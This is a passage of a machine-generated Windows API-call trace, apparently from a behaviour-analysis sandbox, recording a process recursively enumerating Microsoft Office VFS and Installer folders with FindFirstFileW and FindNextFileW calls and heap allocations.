ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GAC_MSIL", cAlternateFileName="")) returned 0 [0250.914] FindClose (in: hFindFile=0x6cfdc8 | out: hFindFile=0x6cfdc8) returned 1 [0250.914] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0250.916] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="INF", cAlternateFileName="")) returned 1 [0250.916] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4188318 [0250.917] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\INF\\*", lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6cfd48 [0250.917] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.917] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8512, dwReserved0=0x0, dwReserved1=0x0, cFileName="AER_1033.ADM", cAlternateFileName="")) returned 1 [0250.917] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8512, dwReserved0=0x0, dwReserved1=0x0, cFileName="AER_1033.ADM", cAlternateFileName="")) returned 0 [0250.917] FindClose (in: hFindFile=0x6cfd48 | out: hFindFile=0x6cfd48) returned 1 [0250.917] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0250.917] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26abeaf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Installer", cAlternateFileName="INSTAL~1")) returned 1 [0250.917] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4188318 [0250.917] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\*", lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26abeaf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6cfd48 [0250.918] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26abeaf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.918] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26abeaf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc36c3d3f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc434832e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-000F-0000-1000-0000000FF1CE}", cAlternateFileName="{90160~1")) returned 1 [0250.918] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x41dde40 [0250.918] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-000F-0000-1000-0000000FF1CE}\\*", lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26abeaf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc434832e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc434832e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x6cfd88 [0250.919] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26abeaf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc434832e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc434832e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0250.919] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc27dd2b7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc27dd2b7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc290e5a3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x393a40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="accicons.exe", cAlternateFileName="")) returned 1 [0250.919] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc26d2137, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc26d2137, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3deaf6b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11640, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dbcicons.exe", cAlternateFileName="")) returned 1 [0250.919] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc26d2137, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc26d2137, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc27dd2b7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="graph.ico", cAlternateFileName="")) returned 1 [0250.919] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc434832e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc434832e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc436e5a6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3a440, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="grv_icons.exe", cAlternateFileName="GRV_IC~1.EXE")) returned 1 [0250.919] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc26f8376, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc28297ac, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xac440, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="joticon.exe", cAlternateFileName="")) returned 1 [0250.919] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc26d2137, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc26d2137, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3d0601b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xcda40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lyncicon.exe", cAlternateFileName="")) returned 1 [0250.919] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc26f8376, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2e456b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfaea8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="misc.exe", cAlternateFileName="")) returned 1 [0250.920] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc26abeaf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc26abeaf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc27b6ef5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb440, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msouc.exe", cAlternateFileName="")) returned 1 [0250.920] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc26d2137, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc26d2137, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2d86b0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xce40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osmadminicon.exe", cAlternateFileName="OSMADM~1.EXE")) returned 1 [0250.920] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc26f8376, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2875b71, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xce40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osmclienticon.exe", cAlternateFileName="OSMCLI~1.EXE")) returned 1 [0250.920] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc26d2137, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc26d2137, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2ede099, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6e240, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="outicon.exe", cAlternateFileName="")) returned 1 [0250.920] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc284f9dc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc284f9dc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2c2f6fb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xce0a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pj11icon.exe", cAlternateFileName="")) returned 1 [0250.920] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc36c3d3f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc36c3d3f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc39bed4a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x359640, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pptico.exe", cAlternateFileName="")) returned 1 [0250.920] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc290e5a3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc290e5a3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2bbceb5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xcda40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pubs.exe", cAlternateFileName="")) returned 1 [0250.920] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc289be7e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc289be7e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2afe3f3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11640, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sscicons.exe", cAlternateFileName="")) returned 1 [0250.920] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2875b71, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2875b71, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2a19653, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x248040, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="visicon.exe", cAlternateFileName="")) returned 1 [0250.921] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2d86b0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2d86b0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc30ce080, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e0c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wordicon.exe", cAlternateFileName="")) returned 1 [0250.921] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2e456b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2e456b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc300f337, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3840a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="xlicons.exe", cAlternateFileName="")) returned 1 [0250.921] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2e456b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2e456b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc300f337, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3840a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="xlicons.exe", cAlternateFileName="")) returned 0 [0250.921] FindClose (in: hFindFile=0x6cfd88 | out: hFindFile=0x6cfd88) returned 1 [0250.921] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0250.921] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2f507b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2f507b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2f507b2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001F-0409-1000-0000000FF1CE}", cAlternateFileName="{90160~3")) returned 1 [0250.921] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x41dde40 [0250.921] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-001F-0409-1000-0000000FF1CE}\\*", lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2f507b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2f507b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2f507b2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x6cfd88 [0250.922] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2f507b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2f507b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2f507b2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0250.922] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2f507b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2f507b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc33305b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfaea8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="misc.exe", cAlternateFileName="")) returned 1 [0250.922] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2f507b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2f507b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc33305b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfaea8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="misc.exe", cAlternateFileName="")) returned 0 [0250.922] FindClose (in: hFindFile=0x6cfd88 | out: hFindFile=0x6cfd88) returned 1 [0250.922] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0250.922] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001F-040C-1000-0000000FF1CE}", cAlternateFileName="{90160~4")) returned 1 [0250.922] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x41dde40 [0250.922] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-001F-040C-1000-0000000FF1CE}\\*", lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x6cfdc8 [0251.163] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0251.163] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc394c592, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfaea8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="misc.exe", cAlternateFileName="")) returned 1 [0251.163] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc394c592, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfaea8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="misc.exe", cAlternateFileName="")) returned 0 [0251.163] FindClose (in: hFindFile=0x6cfdc8 | out: hFindFile=0x6cfdc8) returned 1 [0251.163] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0251.163] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001F-0C0A-1000-0000000FF1CE}", cAlternateFileName="{9B17A~1")) returned 1 [0251.163] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4155070 [0251.164] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-001F-0C0A-1000-0000000FF1CE}\\*", lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) 